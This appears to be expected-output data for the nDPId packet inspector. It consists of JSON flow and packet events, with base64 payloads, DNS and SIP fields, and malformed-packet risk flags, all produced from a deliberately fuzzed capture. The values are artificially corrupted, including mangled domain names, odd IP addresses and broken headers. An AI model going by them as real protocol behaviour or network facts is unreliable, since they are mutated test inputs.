+00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":404,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":151,"flow_packet_id":2,"flow_first_seen":1120470414647,"flow_last_seen":1120470415643,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2783,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00428{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":405,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470417,"pkt_ts_usec":645446,"pkt_caplen":86,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAOCqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":405,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":43690} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":406,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":152,"flow_packet_id":1,"flow_first_seen":1120470419648,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"0.168.1.2","dst_ip":"192.168.1.1","src_port":2783,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":152,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":406,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470419,"pkt_ts_usec":648352,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa00AAIARJXMAqAECwKgBAQrfADUANOABSeQBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00656{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":406,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":152,"flow_packet_id":1,"flow_first_seen":1120470419648,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"0.168.1.2","dst_ip":"192.168.1.1","src_port":2783,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":151,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":407,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470423,"pkt_ts_usec":654060,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa04AAIARTAPAqAECwKgBAQrfADUANOABSeQBAAIBAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00718{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":407,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":151,"flow_packet_id":3,"flow_first_seen":1120470414647,"flow_last_seen":1120470423654,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2783,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":408,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":152,"flow_packet_id":1,"flow_first_seen":1120470419648,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"0.168.1.2","dst_ip":"192.168.1.1","src_port":2783,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":408,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":153,"flow_packet_id":1,"flow_first_seen":1120470431656,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2784,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":153,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":408,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470431,"pkt_ts_usec":656040,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEa08AAIARTAbAqAECwKgBAQrgADUAMIb5neUAAAABAAAAAAAAATEBMAEwJXMANwdpbi1hZGRyqqqqqqqqqqqqqg=="} +00663{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":408,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":153,"flow_packet_id":1,"flow_first_seen":1120470431656,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2784,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":14087,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":409,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":154,"flow_packet_id":1,"flow_first_seen":1120470431657,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.5.2","src_port":53,"dst_port":2784,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_id":154,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":409,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470431,"pkt_ts_usec":657512,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgFAgA1CuAAR2l1neWAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFzcGEAAAwAAcAMAAwAAQAAJyVzAAlsb2NhbGhvc3QA"} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":409,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":154,"flow_packet_id":1,"flow_first_seen":1120470431657,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.5.2","src_port":53,"dst_port":2784,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.aspa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00428{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":411,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470439,"pkt_ts_usec":142760,"pkt_caplen":86,"pkt_type":18688,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69SQBFAIBIa1EAAIARTADAqAECwKgBAQrhADUANAD+KOYBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":411,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":18688} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":412,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470440,"pkt_ts_usec":137922,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAABIa1LfAEwlcwDAqAECwKgBAQrhADUANAD+KOYBAAABAAAAQAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":412,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":413,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":2,"flow_first_seen":1120469831652,"flow_last_seen":1120469835658,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2732,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":413,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":154,"flow_packet_id":1,"flow_first_seen":1120470431657,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.5.2","src_port":53,"dst_port":2784,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":413,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":153,"flow_packet_id":1,"flow_first_seen":1120470431656,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2784,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":413,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":155,"flow_packet_id":1,"flow_first_seen":1120470442140,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","l4_proto":19,"flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":155,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":413,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470442,"pkt_ts_usec":140675,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":28,"pkt":"ADBUADRWAODtAW69CABFAAAwa1MAAIATS\/7AqAECwKgBAQrhADUANAD+KOYBAAABAAAAAEsABF9zaXAEX3VkcANzaXB3Y3liZXJjaXR5AmRrAAAhAAE="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":414,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":156,"flow_packet_id":1,"flow_first_seen":1120470444143,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"200.168.1.2","dst_ip":"192.168.1.1","src_port":2785,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":156,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":414,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470444,"pkt_ts_usec":143597,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa1QAAIARS\/3IqAECwKgBAQrhADUANAD+KOYBIAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAEk="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":414,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":156,"flow_packet_id":1,"flow_first_seen":1120470444143,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"200.168.1.2","dst_ip":"192.168.1.1","src_port":2785,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":416,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":157,"flow_packet_id":1,"flow_first_seen":1120470447197,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":35721,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_id":157,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":416,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470447,"pkt_ts_usec":197884,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOa1YAAIARSvfAqAECwKgB\/wCJi4kAOltphTIBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ3hDQSlNAAAgAAE="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":418,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":158,"flow_packet_id":1,"flow_first_seen":1120470448149,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2785,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":158,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":418,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470448,"pkt_ts_usec":149289,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa1gAAIARS\/nAqAECwKgBAQrhADUANAD+KOYBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXZjaXR5AmRrAAAhlAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":418,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":158,"flow_packet_id":1,"flow_first_seen":1120470448149,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2785,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybevcity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00466{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":419,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":155,"flow_packet_id":1,"flow_first_seen":1120470442140,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","l4_proto":19,"ndpi": {"proto":"Unknown","breed":"Unrated"}} +00452{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":419,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":155,"flow_packet_id":1,"flow_first_seen":1120470442140,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","l4_proto":19,"flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":419,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":158,"flow_packet_id":1,"flow_first_seen":1120470448149,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2785,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":419,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":156,"flow_packet_id":1,"flow_first_seen":1120470444143,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"200.168.1.2","dst_ip":"192.168.1.1","src_port":2785,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00521{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":419,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":157,"flow_packet_id":1,"flow_first_seen":1120470447197,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":35721,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":419,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":157,"flow_packet_id":1,"flow_first_seen":1120470447197,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":35721,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":419,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":159,"flow_packet_id":1,"flow_first_seen":1120470456151,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.3","src_port":2786,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":159,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":419,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470456,"pkt_ts_usec":151196,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEa1kAAIARS\/zAqAECwKgBAwriADUAMED14+cAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZKxyBGFycGEAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":419,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":159,"flow_packet_id":1,"flow_first_seen":1120470456151,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.3","src_port":2786,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-ad_r.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":420,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470456,"pkt_ts_usec":152669,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AODtAW69ADBUADRWCABFAABbAABACEARtz7AqAEBwKgBAgA1CuIARyNx4+eAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":420,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":71} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":422,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":160,"flow_packet_id":1,"flow_first_seen":1120470456286,"flow_last_seen":0,"flow_tot_l4_data_len":493,"flow_min_l4_data_len":493,"flow_max_l4_data_len":493,"flow_avg_l4_data_len":493,"midstream":0,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.168.1.2","src_port":9587,"dst_port":196,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01058{"flow_id":160,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":422,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470456,"pkt_ts_usec":286438,"pkt_caplen":527,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":527,"pkt_l4_len":493,"pkt":"AODtAW69ADBUADRWCABFAAIBAABAADcRiizU8iEjwKgBAiVzAMQB7c3hU0lQJXMAMCA0MDEgVW5hdXRob3JpemVkDQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDU2VxOiA3NiBSRUdJU1RFUg0KRnJvbTogPHNpcDp2b2kxODA2MkBzaXAuY3liZXJjaXR5LmRrPjN0YWc9M2JmZmNjYw0KVG86IDxzaXA6dm9pMTgwNjJAc2lwLmN5+GVyY2l0cS5kaz47dGFnPTAwLTA0MDkwLTE3MDFiNjUxLTE1YzIzOGNlNg0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjtyZUNlaXNlZD04MC4yMzAuMjE5LjcwO3Jwb3J0PTUwNjA7YnJhbmNoPXo5aEc0YktucDYyOTEzNjY1LTQzMGFhMmRhMTkyLjE2OC4xLjINCldXVy0lcwBoZW50aWNhtWU6IERpZ2VzdFNyZWFsbT0ic2lwLmN5YmVyYyVzAEFkayIsbm9uY2VUIjE3MDFiNjM5MTQ4MDVjZDIxMzk1MzZjMDAzMjNkNTgiLG9wYXF1ZT0iMTcwMWExMzUxYjcwNzk1IixzdGFsZT1mYWxzZSxhbGdvcml0aCVzAEQ1DQpDb250ZW50LUxlbmd0aDogMA0KDQo="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":423,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":161,"flow_packet_id":1,"flow_first_seen":1120470456513,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.3.1","src_port":2787,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":161,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":423,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470456,"pkt_ts_usec":513142,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa1sAAIARS\/bAqAECwKgDAQrjADU0NPT5NOgBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":423,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":161,"flow_packet_id":1,"flow_first_seen":1120470456513,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.3.1","src_port":2787,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":424,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":162,"flow_packet_id":1,"flow_first_seen":1120470457512,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2787,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 